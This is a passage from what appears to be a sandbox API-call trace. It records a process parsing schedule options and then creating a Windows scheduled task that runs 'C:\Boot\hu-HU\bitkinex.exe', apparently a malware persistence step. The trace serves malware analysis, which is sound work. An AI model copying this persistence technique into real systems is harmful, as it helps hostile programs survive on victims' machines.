_Buffer=0x32c320, _BufferCount=0x4, _Format="|%s|", _ArgList=0x1fc788 | out: _Buffer="|f|") returned 3 [0061.632] lstrlenW (lpString="|ru|") returned 4 [0061.632] lstrlenW (lpString="|f|") returned 3 [0061.632] StrStrIW (lpFirst="|ru|", lpSrch="|f|") returned 0x0 [0061.632] SetLastError (dwErrCode=0x490) [0061.632] lstrlenW (lpString="rp") returned 2 [0061.632] lstrlenW (lpString="rp") returned 2 [0061.633] _memicmp (_Buf1=0x32c1c0, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0061.633] lstrlenW (lpString="f") returned 1 [0061.633] _memicmp (_Buf1=0x32c300, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0061.633] _vsnwprintf (in: _Buffer=0x32c340, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1fc788 | out: _Buffer="|rp|") returned 4 [0061.633] _vsnwprintf (in: _Buffer=0x32c320, _BufferCount=0x4, _Format="|%s|", _ArgList=0x1fc788 | out: _Buffer="|f|") returned 3 [0061.633] lstrlenW (lpString="|rp|") returned 4 [0061.633] lstrlenW (lpString="|f|") returned 3 [0061.633] StrStrIW (lpFirst="|rp|", lpSrch="|f|") returned 0x0 [0061.633] SetLastError (dwErrCode=0x490) [0061.633] lstrlenW (lpString="sc") returned 2 [0061.633] lstrlenW (lpString="sc") returned 2 [0061.633] _memicmp (_Buf1=0x32c1c0, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0061.633] lstrlenW (lpString="f") returned 1 [0061.633] _memicmp (_Buf1=0x32c300, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0061.633] _vsnwprintf (in: _Buffer=0x32c340, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1fc788 | out: _Buffer="|sc|") returned 4 [0061.633] _vsnwprintf (in: _Buffer=0x32c320, _BufferCount=0x4, _Format="|%s|", _ArgList=0x1fc788 | out: _Buffer="|f|") returned 3 [0061.633] lstrlenW (lpString="|sc|") returned 4 [0061.633] lstrlenW (lpString="|f|") returned 3 [0061.633] StrStrIW (lpFirst="|sc|", lpSrch="|f|") returned 0x0 [0061.633] SetLastError (dwErrCode=0x490) [0061.633] lstrlenW (lpString="mo") returned 2 [0061.633] lstrlenW (lpString="mo") returned 2 [0061.633] _memicmp (_Buf1=0x32c1c0, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0061.633] lstrlenW (lpString="f") returned 1 [0061.633] _memicmp (_Buf1=0x32c300, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0061.633] _vsnwprintf (in: _Buffer=0x32c340, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1fc788 | out: _Buffer="|mo|") returned 4 [0061.633] _vsnwprintf (in: _Buffer=0x32c320, _BufferCount=0x4, _Format="|%s|", _ArgList=0x1fc788 | out: _Buffer="|f|") returned 3 [0061.633] lstrlenW (lpString="|mo|") returned 4 [0061.633] lstrlenW (lpString="|f|") returned 3 [0061.633] StrStrIW (lpFirst="|mo|", lpSrch="|f|") returned 0x0 [0061.633] SetLastError (dwErrCode=0x490) [0061.634] lstrlenW (lpString="d") returned 1 [0061.634] lstrlenW (lpString="d") returned 1 [0061.634] _memicmp (_Buf1=0x32c1c0, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0061.634] lstrlenW (lpString="f") returned 1 [0061.634] _memicmp (_Buf1=0x32c300, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0061.634] _vsnwprintf (in: _Buffer=0x32c340, _BufferCount=0x4, _Format="|%s|", _ArgList=0x1fc788 | out: _Buffer="|d|") returned 3 [0061.634] _vsnwprintf (in: _Buffer=0x32c320, _BufferCount=0x4, _Format="|%s|", _ArgList=0x1fc788 | out: _Buffer="|f|") returned 3 [0061.634] lstrlenW (lpString="|d|") returned 3 [0061.634] lstrlenW (lpString="|f|") returned 3 [0061.634] StrStrIW (lpFirst="|d|", lpSrch="|f|") returned 0x0 [0061.634] SetLastError (dwErrCode=0x490) [0061.634] lstrlenW (lpString="m") returned 1 [0061.634] lstrlenW (lpString="m") returned 1 [0061.634] _memicmp (_Buf1=0x32c1c0, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0061.634] lstrlenW (lpString="f") returned 1 [0061.634] _memicmp (_Buf1=0x32c300, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0061.634] _vsnwprintf (in: _Buffer=0x32c340, _BufferCount=0x4, _Format="|%s|", _ArgList=0x1fc788 | out: _Buffer="|m|") returned 3 [0061.634] _vsnwprintf (in: _Buffer=0x32c320, _BufferCount=0x4, _Format="|%s|", _ArgList=0x1fc788 | out: _Buffer="|f|") returned 3 [0061.634] lstrlenW (lpString="|m|") returned 3 [0061.634] lstrlenW (lpString="|f|") returned 3 [0061.634] StrStrIW (lpFirst="|m|", lpSrch="|f|") returned 0x0 [0061.634] SetLastError (dwErrCode=0x490) [0061.634] lstrlenW (lpString="i") returned 1 [0061.634] lstrlenW (lpString="i") returned 1 [0061.634] _memicmp (_Buf1=0x32c1c0, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0061.634] lstrlenW (lpString="f") returned 1 [0061.634] _memicmp (_Buf1=0x32c300, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0061.634] _vsnwprintf (in: _Buffer=0x32c340, _BufferCount=0x4, _Format="|%s|", _ArgList=0x1fc788 | out: _Buffer="|i|") returned 3 [0061.634] _vsnwprintf (in: _Buffer=0x32c320, _BufferCount=0x4, _Format="|%s|", _ArgList=0x1fc788 | out: _Buffer="|f|") returned 3 [0061.635] lstrlenW (lpString="|i|") returned 3 [0061.635] lstrlenW (lpString="|f|") returned 3 [0061.635] StrStrIW (lpFirst="|i|", lpSrch="|f|") returned 0x0 [0061.635] SetLastError (dwErrCode=0x490) [0061.635] lstrlenW (lpString="tn") returned 2 [0061.635] lstrlenW (lpString="tn") returned 2 [0061.635] _memicmp (_Buf1=0x32c1c0, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0061.635] lstrlenW (lpString="f") returned 1 [0061.635] _memicmp (_Buf1=0x32c300, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0061.635] _vsnwprintf (in: _Buffer=0x32c340, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1fc788 | out: _Buffer="|tn|") returned 4 [0061.635] _vsnwprintf (in: _Buffer=0x32c320, _BufferCount=0x4, _Format="|%s|", _ArgList=0x1fc788 | out: _Buffer="|f|") returned 3 [0061.635] lstrlenW (lpString="|tn|") returned 4 [0061.635] lstrlenW (lpString="|f|") returned 3 [0061.635] StrStrIW (lpFirst="|tn|", lpSrch="|f|") returned 0x0 [0061.635] SetLastError (dwErrCode=0x490) [0061.635] lstrlenW (lpString="tr") returned 2 [0061.635] lstrlenW (lpString="tr") returned 2 [0061.635] _memicmp (_Buf1=0x32c1c0, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0061.635] lstrlenW (lpString="f") returned 1 [0061.635] _memicmp (_Buf1=0x32c300, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0061.635] _vsnwprintf (in: _Buffer=0x32c340, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1fc788 | out: _Buffer="|tr|") returned 4 [0061.635] _vsnwprintf (in: _Buffer=0x32c320, _BufferCount=0x4, _Format="|%s|", _ArgList=0x1fc788 | out: _Buffer="|f|") returned 3 [0061.635] lstrlenW (lpString="|tr|") returned 4 [0061.635] lstrlenW (lpString="|f|") returned 3 [0061.635] StrStrIW (lpFirst="|tr|", lpSrch="|f|") returned 0x0 [0061.635] SetLastError (dwErrCode=0x490) [0061.635] lstrlenW (lpString="st") returned 2 [0061.635] lstrlenW (lpString="st") returned 2 [0061.635] _memicmp (_Buf1=0x32c1c0, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0061.635] lstrlenW (lpString="f") returned 1 [0061.635] _memicmp (_Buf1=0x32c300, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0061.636] _vsnwprintf (in: _Buffer=0x32c340, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1fc788 | out: _Buffer="|st|") returned 4 [0061.636] _vsnwprintf (in: _Buffer=0x32c320, _BufferCount=0x4, _Format="|%s|", _ArgList=0x1fc788 | out: _Buffer="|f|") returned 3 [0061.636] lstrlenW (lpString="|st|") returned 4 [0061.636] lstrlenW (lpString="|f|") returned 3 [0061.636] StrStrIW (lpFirst="|st|", lpSrch="|f|") returned 0x0 [0061.636] SetLastError (dwErrCode=0x490) [0061.636] lstrlenW (lpString="sd") returned 2 [0061.636] lstrlenW (lpString="sd") returned 2 [0061.636] _memicmp (_Buf1=0x32c1c0, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0061.636] lstrlenW (lpString="f") returned 1 [0061.636] _memicmp (_Buf1=0x32c300, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0061.636] _vsnwprintf (in: _Buffer=0x32c340, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1fc788 | out: _Buffer="|sd|") returned 4 [0061.636] _vsnwprintf (in: _Buffer=0x32c320, _BufferCount=0x4, _Format="|%s|", _ArgList=0x1fc788 | out: _Buffer="|f|") returned 3 [0061.636] lstrlenW (lpString="|sd|") returned 4 [0061.636] lstrlenW (lpString="|f|") returned 3 [0061.636] StrStrIW (lpFirst="|sd|", lpSrch="|f|") returned 0x0 [0061.636] SetLastError (dwErrCode=0x490) [0061.636] lstrlenW (lpString="ed") returned 2 [0061.636] lstrlenW (lpString="ed") returned 2 [0061.636] _memicmp (_Buf1=0x32c1c0, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0061.636] lstrlenW (lpString="f") returned 1 [0061.636] _memicmp (_Buf1=0x32c300, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0061.636] _vsnwprintf (in: _Buffer=0x32c340, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1fc788 | out: _Buffer="|ed|") returned 4 [0061.636] _vsnwprintf (in: _Buffer=0x32c320, _BufferCount=0x4, _Format="|%s|", _ArgList=0x1fc788 | out: _Buffer="|f|") returned 3 [0061.636] lstrlenW (lpString="|ed|") returned 4 [0061.636] lstrlenW (lpString="|f|") returned 3 [0061.636] StrStrIW (lpFirst="|ed|", lpSrch="|f|") returned 0x0 [0061.636] SetLastError (dwErrCode=0x490) [0061.636] lstrlenW (lpString="it") returned 2 [0061.636] lstrlenW (lpString="it") returned 2 [0061.636] _memicmp (_Buf1=0x32c1c0, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0061.637] lstrlenW (lpString="f") returned 1 [0061.637] _memicmp (_Buf1=0x32c300, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0061.637] _vsnwprintf (in: _Buffer=0x32c340, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1fc788 | out: _Buffer="|it|") returned 4 [0061.637] _vsnwprintf (in: _Buffer=0x32c320, _BufferCount=0x4, _Format="|%s|", _ArgList=0x1fc788 | out: _Buffer="|f|") returned 3 [0061.637] lstrlenW (lpString="|it|") returned 4 [0061.637] lstrlenW (lpString="|f|") returned 3 [0061.637] StrStrIW (lpFirst="|it|", lpSrch="|f|") returned 0x0 [0061.637] SetLastError (dwErrCode=0x490) [0061.637] lstrlenW (lpString="et") returned 2 [0061.637] lstrlenW (lpString="et") returned 2 [0061.637] _memicmp (_Buf1=0x32c1c0, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0061.637] lstrlenW (lpString="f") returned 1 [0061.637] _memicmp (_Buf1=0x32c300, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0061.637] _vsnwprintf (in: _Buffer=0x32c340, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1fc788 | out: _Buffer="|et|") returned 4 [0061.637] _vsnwprintf (in: _Buffer=0x32c320, _BufferCount=0x4, _Format="|%s|", _ArgList=0x1fc788 | out: _Buffer="|f|") returned 3 [0061.637] lstrlenW (lpString="|et|") returned 4 [0061.637] lstrlenW (lpString="|f|") returned 3 [0061.637] StrStrIW (lpFirst="|et|", lpSrch="|f|") returned 0x0 [0061.637] SetLastError (dwErrCode=0x490) [0061.637] lstrlenW (lpString="k") returned 1 [0061.637] lstrlenW (lpString="k") returned 1 [0061.637] _memicmp (_Buf1=0x32c1c0, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0061.637] lstrlenW (lpString="f") returned 1 [0061.637] _memicmp (_Buf1=0x32c300, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0061.637] _vsnwprintf (in: _Buffer=0x32c340, _BufferCount=0x4, _Format="|%s|", _ArgList=0x1fc788 | out: _Buffer="|k|") returned 3 [0061.637] _vsnwprintf (in: _Buffer=0x32c320, _BufferCount=0x4, _Format="|%s|", _ArgList=0x1fc788 | out: _Buffer="|f|") returned 3 [0061.637] lstrlenW (lpString="|k|") returned 3 [0061.637] lstrlenW (lpString="|f|") returned 3 [0061.638] StrStrIW (lpFirst="|k|", lpSrch="|f|") returned 0x0 [0061.638] SetLastError (dwErrCode=0x490) [0061.638] lstrlenW (lpString="du") returned 2 [0061.638] lstrlenW (lpString="du") returned 2 [0061.638] _memicmp (_Buf1=0x32c1c0, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0061.638] lstrlenW (lpString="f") returned 1 [0061.638] _memicmp (_Buf1=0x32c300, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0061.638] _vsnwprintf (in: _Buffer=0x32c340, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1fc788 | out: _Buffer="|du|") returned 4 [0061.638] _vsnwprintf (in: _Buffer=0x32c320, _BufferCount=0x4, _Format="|%s|", _ArgList=0x1fc788 | out: _Buffer="|f|") returned 3 [0061.638] lstrlenW (lpString="|du|") returned 4 [0061.638] lstrlenW (lpString="|f|") returned 3 [0061.638] StrStrIW (lpFirst="|du|", lpSrch="|f|") returned 0x0 [0061.638] SetLastError (dwErrCode=0x490) [0061.638] lstrlenW (lpString="ri") returned 2 [0061.638] lstrlenW (lpString="ri") returned 2 [0061.638] _memicmp (_Buf1=0x32c1c0, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0061.638] lstrlenW (lpString="f") returned 1 [0061.638] _memicmp (_Buf1=0x32c300, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0061.638] _vsnwprintf (in: _Buffer=0x32c340, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1fc788 | out: _Buffer="|ri|") returned 4 [0061.638] _vsnwprintf (in: _Buffer=0x32c320, _BufferCount=0x4, _Format="|%s|", _ArgList=0x1fc788 | out: _Buffer="|f|") returned 3 [0061.638] lstrlenW (lpString="|ri|") returned 4 [0061.638] lstrlenW (lpString="|f|") returned 3 [0061.638] StrStrIW (lpFirst="|ri|", lpSrch="|f|") returned 0x0 [0061.638] SetLastError (dwErrCode=0x490) [0061.638] lstrlenW (lpString="z") returned 1 [0061.638] lstrlenW (lpString="z") returned 1 [0061.638] _memicmp (_Buf1=0x32c1c0, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0061.638] lstrlenW (lpString="f") returned 1 [0061.638] _memicmp (_Buf1=0x32c300, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0061.638] _vsnwprintf (in: _Buffer=0x32c340, _BufferCount=0x4, _Format="|%s|", _ArgList=0x1fc788 | out: _Buffer="|z|") returned 3 [0061.639] _vsnwprintf (in: _Buffer=0x32c320, _BufferCount=0x4, _Format="|%s|", _ArgList=0x1fc788 | out: _Buffer="|f|") returned 3 [0061.639] lstrlenW (lpString="|z|") returned 3 [0061.639] lstrlenW (lpString="|f|") returned 3 [0061.639] StrStrIW (lpFirst="|z|", lpSrch="|f|") returned 0x0 [0061.639] SetLastError (dwErrCode=0x490) [0061.639] lstrlenW (lpString="f") returned 1 [0061.639] lstrlenW (lpString="f") returned 1 [0061.639] _memicmp (_Buf1=0x32c1c0, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0061.639] lstrlenW (lpString="f") returned 1 [0061.639] _memicmp (_Buf1=0x32c300, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0061.639] _vsnwprintf (in: _Buffer=0x32c340, _BufferCount=0x4, _Format="|%s|", _ArgList=0x1fc788 | out: _Buffer="|f|") returned 3 [0061.639] _vsnwprintf (in: _Buffer=0x32c320, _BufferCount=0x4, _Format="|%s|", _ArgList=0x1fc788 | out: _Buffer="|f|") returned 3 [0061.639] lstrlenW (lpString="|f|") returned 3 [0061.639] lstrlenW (lpString="|f|") returned 3 [0061.639] StrStrIW (lpFirst="|f|", lpSrch="|f|") returned="|f|" [0061.639] SetLastError (dwErrCode=0x0) [0061.639] SetLastError (dwErrCode=0x0) [0061.639] GetProcessHeap () returned 0x310000 [0061.639] RtlAllocateHeap (HeapHandle=0x310000, Flags=0xc, Size=0x20) returned 0x32ce30 [0061.639] _memicmp (_Buf1=0x32bbb0, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0061.639] LoadStringW (in: hInstance=0x0, uID=0x1ae, lpBuffer=0x32d3c0, cchBufferMax=256 | out: lpBuffer="MINUTE") returned 0x6 [0061.639] lstrlenW (lpString="MINUTE") returned 6 [0061.639] GetProcessHeap () returned 0x310000 [0061.639] RtlAllocateHeap (HeapHandle=0x310000, Flags=0xc, Size=0xe) returned 0x32d680 [0061.639] GetThreadLocale () returned 0x409 [0061.639] CompareStringW (Locale=0x409, dwCmpFlags=0x1, lpString1="MINUTE", cchCount1=-1, lpString2="MINUTE", cchCount2=-1) returned 2 [0061.640] SetLastError (dwErrCode=0x0) [0061.640] GetProcessHeap () returned 0x310000 [0061.640] RtlAllocateHeap (HeapHandle=0x310000, Flags=0xc, Size=0x1fc) returned 0x32c470 [0061.640] GetProcessHeap () returned 0x310000 [0061.640] RtlAllocateHeap (HeapHandle=0x310000, Flags=0xc, Size=0x20) returned 0x32ce00 [0061.640] _memicmp (_Buf1=0x32bbb0, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0061.640] LoadStringW (in: hInstance=0x0, uID=0x1d7, lpBuffer=0x32d3c0, cchBufferMax=256 | out: lpBuffer="First") returned 0x5 [0061.640] lstrlenW (lpString="First") returned 5 [0061.640] GetProcessHeap () returned 0x310000 [0061.640] RtlAllocateHeap (HeapHandle=0x310000, Flags=0xc, Size=0xc) returned 0x32d6a0 [0061.640] GetProcessHeap () returned 0x310000 [0061.640] RtlAllocateHeap (HeapHandle=0x310000, Flags=0xc, Size=0x20) returned 0x32cdd0 [0061.640] _memicmp (_Buf1=0x32bbb0, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0061.640] LoadStringW (in: hInstance=0x0, uID=0x1d8, lpBuffer=0x32d3c0, cchBufferMax=256 | out: lpBuffer="Second") returned 0x6 [0061.640] lstrlenW (lpString="Second") returned 6 [0061.640] GetProcessHeap () returned 0x310000 [0061.640] RtlAllocateHeap (HeapHandle=0x310000, Flags=0xc, Size=0xe) returned 0x32d6c0 [0061.640] GetProcessHeap () returned 0x310000 [0061.640] RtlAllocateHeap (HeapHandle=0x310000, Flags=0xc, Size=0x20) returned 0x32cda0 [0061.640] _memicmp (_Buf1=0x32bbb0, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0061.640] LoadStringW (in: hInstance=0x0, uID=0x1d9, lpBuffer=0x32d3c0, cchBufferMax=256 | out: lpBuffer="Third") returned 0x5 [0061.640] lstrlenW (lpString="Third") returned 5 [0061.640] GetProcessHeap () returned 0x310000 [0061.640] RtlAllocateHeap (HeapHandle=0x310000, Flags=0xc, Size=0xc) returned 0x32d6e0 [0061.640] GetProcessHeap () returned 0x310000 [0061.640] RtlAllocateHeap (HeapHandle=0x310000, Flags=0xc, Size=0x20) returned 0x32cd70 [0061.640] _memicmp (_Buf1=0x32bbb0, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0061.640] LoadStringW (in: hInstance=0x0, uID=0x1da, lpBuffer=0x32d3c0, cchBufferMax=256 | out: lpBuffer="Fourth") returned 0x6 [0061.640] lstrlenW (lpString="Fourth") returned 6 [0061.641] GetProcessHeap () returned 0x310000 [0061.641] RtlAllocateHeap (HeapHandle=0x310000, Flags=0xc, Size=0xe) returned 0x32d700 [0061.641] GetProcessHeap () returned 0x310000 [0061.641] RtlAllocateHeap (HeapHandle=0x310000, Flags=0xc, Size=0x20) returned 0x32cd40 [0061.641] _memicmp (_Buf1=0x32bbb0, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0061.641] LoadStringW (in: hInstance=0x0, uID=0x1db, lpBuffer=0x32d3c0, cchBufferMax=256 | out: lpBuffer="Last") returned 0x4 [0061.641] lstrlenW (lpString="Last") returned 4 [0061.641] GetProcessHeap () returned 0x310000 [0061.641] RtlAllocateHeap (HeapHandle=0x310000, Flags=0xc, Size=0xa) returned 0x32d720 [0061.641] lstrlenW (lpString="10") returned 2 [0061.641] _wtol (_String="10") returned 10 [0061.641] GetProcessHeap () returned 0x310000 [0061.641] RtlAllocateHeap (HeapHandle=0x310000, Flags=0xc, Size=0x20) returned 0x32cd10 [0061.641] _memicmp (_Buf1=0x32bbb0, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0061.641] LoadStringW (in: hInstance=0x0, uID=0x1d7, lpBuffer=0x32d3c0, cchBufferMax=256 | out: lpBuffer="First") returned 0x5 [0061.641] lstrlenW (lpString="First") returned 5 [0061.641] GetProcessHeap () returned 0x310000 [0061.641] RtlAllocateHeap (HeapHandle=0x310000, Flags=0xc, Size=0xc) returned 0x32d740 [0061.641] _memicmp (_Buf1=0x32bbb0, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0061.641] LoadStringW (in: hInstance=0x0, uID=0x1d8, lpBuffer=0x32d3c0, cchBufferMax=256 | out: lpBuffer="Second") returned 0x6 [0061.641] lstrlenW (lpString="Second") returned 6 [0061.641] GetProcessHeap () returned 0x310000 [0061.641] RtlAllocateHeap (HeapHandle=0x310000, Flags=0xc, Size=0xe) returned 0x32d760 [0061.641] _memicmp (_Buf1=0x32bbb0, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0061.641] LoadStringW (in: hInstance=0x0, uID=0x1d9, lpBuffer=0x32d3c0, cchBufferMax=256 | out: lpBuffer="Third") returned 0x5 [0061.641] lstrlenW (lpString="Third") returned 5 [0061.641] _memicmp (_Buf1=0x32bbb0, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0061.641] LoadStringW (in: hInstance=0x0, uID=0x1da, lpBuffer=0x32d3c0, cchBufferMax=256 | out: lpBuffer="Fourth") returned 0x6 [0061.641] lstrlenW (lpString="Fourth") returned 6 [0061.641] _memicmp (_Buf1=0x32bbb0, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0061.642] LoadStringW (in: hInstance=0x0, uID=0x1db, lpBuffer=0x32d3c0, cchBufferMax=256 | out: lpBuffer="Last") returned 0x4 [0061.642] lstrlenW (lpString="Last") returned 4 [0061.642] GetLocaleInfoW (in: Locale=0x400, LCType=0x21, lpLCData=0x1fc600, cchData=128 | out: lpLCData="0") returned 2 [0061.642] _memicmp (_Buf1=0x32bbb0, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0061.642] LoadStringW (in: hInstance=0x0, uID=0x19c, lpBuffer=0x32d3c0, cchBufferMax=256 | out: lpBuffer="mm/dd/yyyy") returned 0xa [0061.642] lstrlenW (lpString="mm/dd/yyyy") returned 10 [0061.642] GetProcessHeap () returned 0x310000 [0061.642] GetProcessHeap () returned 0x310000 [0061.642] HeapValidate (hHeap=0x310000, dwFlags=0x0, lpMem=0x32d6a0) returned 1 [0061.642] GetProcessHeap () returned 0x310000 [0061.642] RtlSizeHeap (HeapHandle=0x310000, Flags=0x0, MemoryPointer=0x32d6a0) returned 0xc [0061.642] HeapFree (in: hHeap=0x310000, dwFlags=0x0, lpMem=0x32d6a0 | out: hHeap=0x310000) returned 1 [0061.642] GetProcessHeap () returned 0x310000 [0061.642] RtlAllocateHeap (HeapHandle=0x310000, Flags=0xc, Size=0x16) returned 0x32d6a0 [0061.642] GetLocaleInfoW (in: Locale=0x400, LCType=0x21, lpLCData=0x1fc620, cchData=128 | out: lpLCData="0") returned 2 [0061.642] _memicmp (_Buf1=0x32bbb0, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0061.642] LoadStringW (in: hInstance=0x0, uID=0x19c, lpBuffer=0x32d3c0, cchBufferMax=256 | out: lpBuffer="mm/dd/yyyy") returned 0xa [0061.642] lstrlenW (lpString="mm/dd/yyyy") returned 10 [0061.642] GetProcessHeap () returned 0x310000 [0061.642] GetProcessHeap () returned 0x310000 [0061.642] HeapValidate (hHeap=0x310000, dwFlags=0x0, lpMem=0x32d6c0) returned 1 [0061.642] GetProcessHeap () returned 0x310000 [0061.642] RtlSizeHeap (HeapHandle=0x310000, Flags=0x0, MemoryPointer=0x32d6c0) returned 0xe [0061.642] HeapFree (in: hHeap=0x310000, dwFlags=0x0, lpMem=0x32d6c0 | out: hHeap=0x310000) returned 1 [0061.642] GetProcessHeap () returned 0x310000 [0061.642] RtlAllocateHeap (HeapHandle=0x310000, Flags=0xc, Size=0x16) returned 0x32d6c0 [0061.642] GetLocalTime (in: lpSystemTime=0x1fc850 | out: lpSystemTime=0x1fc850*(wYear=0x7e7, wMonth=0x9, wDayOfWeek=0x2, wDay=0x13, wHour=0x11, wMinute=0x10, wSecond=0x2e, wMilliseconds=0x115)) [0061.643] lstrlenW (lpString="") returned 0 [0061.643] GetLocalTime (in: lpSystemTime=0x1fd108 | out: lpSystemTime=0x1fd108*(wYear=0x7e7, wMonth=0x9, wDayOfWeek=0x2, wDay=0x13, wHour=0x11, wMinute=0x10, wSecond=0x2e, wMilliseconds=0x115)) [0061.643] lstrlenW (lpString="") returned 0 [0061.643] lstrlenW (lpString="") returned 0 [0061.643] lstrlenW (lpString="") returned 0 [0061.643] lstrlenW (lpString="") returned 0 [0061.643] lstrlenW (lpString="10") returned 2 [0061.643] _wtol (_String="10") returned 10 [0061.643] lstrlenW (lpString="") returned 0 [0061.643] lstrlenW (lpString="") returned 0 [0061.643] CoInitializeEx (pvReserved=0x0, dwCoInit=0x2) returned 0x0 [0061.659] CoInitializeSecurity (pSecDesc=0x0, cAuthSvc=-1, asAuthSvc=0x0, pReserved1=0x0, dwAuthnLevel=0x1, dwImpLevel=0x3, pAuthList=0x0, dwCapabilities=0x0, pReserved3=0x0) returned 0x0 [0061.697] CoCreateInstance (in: rclsid=0xffe11ae0*(Data1=0xf87369f, Data2=0xa4e5, Data3=0x4cfc, Data4=([0]=0xbd, [1]=0x3e, [2]=0x73, [3]=0xe6, [4]=0x15, [5]=0x45, [6]=0x72, [7]=0xdd)), pUnkOuter=0x0, dwClsContext=0x17, riid=0xffe11ad0*(Data1=0x2faba4c7, Data2=0x4da9, Data3=0x4013, Data4=([0]=0x96, [1]=0x97, [2]=0x20, [3]=0xcc, [4]=0x3f, [5]=0xd4, [6]=0xf, [7]=0x85)), ppv=0x1fced0 | out: ppv=0x1fced0*=0x41dee0) returned 0x0 [0061.707] TaskScheduler:ITaskService:Connect (This=0x41dee0, serverName=0x1fcfb0*(varType=0x8, wReserved1=0x1f, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), user=0x1fcf70*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x32524553524150), domain=0x1fcf90*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), password=0x1fcf50*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0xc0, varVal2=0x100000001)) returned 0x0 [0061.715] TaskScheduler:IUnknown:AddRef (This=0x41dee0) returned 0x2 [0061.715] TaskScheduler:ITaskService:GetFolder (in: This=0x41dee0, Path=0x0, ppFolder=0x1fd068 | out: ppFolder=0x1fd068*=0x2c7ca0) returned 0x0 [0061.719] TaskScheduler:ITaskService:NewTask (in: This=0x41dee0, flags=0x0, ppDefinition=0x1fd060 | out: ppDefinition=0x1fd060*=0x2c7cf0) returned 0x0 [0061.720] ITaskDefinition:get_Actions (in: This=0x2c7cf0, ppActions=0x1fcfe0 | out: ppActions=0x1fcfe0*=0x2c7db0) returned 0x0 [0061.720] IActionCollection:Create (in: This=0x2c7db0, Type=0, ppAction=0x1fd000 | out: ppAction=0x1fd000*=0x2c6140) returned 0x0 [0061.720] lstrlenW (lpString="'C:\\Boot\\hu-HU\\bitkinex.exe'") returned 28 [0061.720] lstrlenW (lpString="'C:\\Boot\\hu-HU\\bitkinex.exe'") returned 28 [0061.720] lstrlenW (lpString=" ") returned 1 [0061.720] StrChrW (lpStart=" ", wMatch=0x27) returned 0x0 [0061.720] StrChrW (lpStart=" ", wMatch=0x27) returned 0x0 [0061.720] StrChrW (lpStart=" ", wMatch=0x43) returned 0x0 [0061.720] StrChrW (lpStart=" ", wMatch=0x3a) returned 0x0 [0061.720] StrChrW (lpStart=" ", wMatch=0x5c) returned 0x0 [0061.720] StrChrW (lpStart=" ", wMatch=0x42) returned 0x0 [0061.720] StrChrW (lpStart=" ", wMatch=0x6f) returned 0x0 [0061.720] StrChrW (lpStart=" ", wMatch=0x6f) returned 0x0 [0061.720] StrChrW (lpStart=" ", wMatch=0x74) returned 0x0 [0061.720] StrChrW (lpStart=" ", wMatch=0x5c) returned 0x0 [0061.720] StrChrW (lpStart=" ", wMatch=0x68) returned 0x0 [0061.720] StrChrW (lpStart=" ", wMatch=0x75) returned 0x0 [0061.720] StrChrW (lpStart=" ", wMatch=0x2d) returned 0x0 [0061.721] StrChrW (lpStart=" ", wMatch=0x48) returned 0x0 [0061.721] StrChrW (lpStart=" ", wMatch=0x55) returned 0x0 [0061.721] StrChrW (lpStart=" ", wMatch=0x5c) returned 0x0 [0061.721] StrChrW (lpStart=" ", wMatch=0x62) returned 0x0 